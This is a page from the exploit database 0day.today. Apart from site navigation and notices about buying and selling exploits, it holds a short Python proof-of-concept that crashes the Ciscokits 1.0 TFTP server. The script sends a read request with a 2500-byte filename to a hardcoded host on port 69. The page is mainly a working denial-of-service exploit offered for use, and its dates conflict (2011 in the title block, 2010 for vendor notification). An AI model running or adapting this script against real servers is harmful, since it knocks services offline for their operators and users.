0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Ciscokits 1.0 TFTP Server File Name DoS
[#!/usr/bin/python
#Title: Ciscokits 1.0 TFTP Long Filename DoS
#Author: Craig Freyman (@cd1zz)
#Date: July 22, 2011
#Software Link: http://www.certificationkits.com/tftpserver/tftpserver.zip
#Tested on: Windows XP SP3
#Vendor notified: July 22, 2010 - Vendor approved release of PoC on July 23, 2010.
#Notes: When a long file name read request is made the CPU will spike
#and within about 20 seconds the TFTP service will crash.
import socket,sys,time
host = '192.168.133.128'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
crash = "\x41" * 2500
mode = "netascii"
files = "a"
print "File name READ crash"
#seems to only work on a READ command = x01
pwned = "\x00\x01" + crash + "\0" + mode + "\0"
s.sendto(pwned, (host, port))
time.sleep(2)
# 0day.today [2024-12-27] #